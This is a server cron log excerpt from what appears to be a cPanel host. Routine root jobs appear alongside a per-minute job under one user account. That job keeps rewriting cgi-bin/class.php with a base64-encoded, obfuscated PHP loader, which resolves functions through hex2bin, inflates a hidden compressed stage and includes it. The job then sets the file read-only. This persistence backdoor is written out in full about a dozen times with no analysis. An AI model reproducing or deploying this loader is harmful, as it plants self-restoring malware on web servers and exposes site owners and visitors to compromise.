Nov 14 19:45:01 server CROND[12145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:45:01 server CROND[12147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:46:01 server CROND[13130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:47:01 server CROND[14049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:48:01 server CROND[14923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:49:01 server CROND[15884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:50:01 server CROND[16765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:50:01 server CROND[16766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:50:01 server CROND[16768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:50:01 server CROND[16769]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 19:50:01 server CROND[16771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:51:01 server CROND[17695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:52:01 server CROND[18549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:53:01 server CROND[19417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:54:01 server CROND[20245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:55:01 server CROND[21195]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:55:01 server CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:55:01 server CROND[21198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:56:01 server CROND[22124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:57:01 server CROND[22571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:57:01 server CROND[22572]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
